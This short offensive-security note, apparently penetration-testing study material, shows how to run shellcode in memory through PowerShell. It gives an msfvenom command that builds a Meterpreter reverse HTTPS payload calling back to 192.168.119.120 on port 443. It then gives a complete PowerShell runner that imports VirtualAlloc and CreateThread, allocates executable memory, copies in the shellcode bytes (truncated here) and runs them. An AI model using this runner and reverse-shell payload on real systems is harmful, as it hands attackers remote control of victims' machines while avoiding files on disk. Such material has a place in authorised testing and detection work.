Powershell In Memory Shellcode with Add-Type

msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 EXITFUNC=thread -f ps1

PowerShell Shellcode Runner

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("kernel32.dll", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    
    [DllImport("kernel32.dll", SetLastError=true)] 
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 
}
"@

Add-Type $Kernel32

# Shellcode (replace with generated shellcode)
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89...

$size = $buf.Length
[IntPtr]$addr = [Kernel32]::VirtualAlloc([IntPtr]::Zero, $size, 0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)

$thandle = [Kernel32]::CreateThread([IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [IntPtr]::Zero)

[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")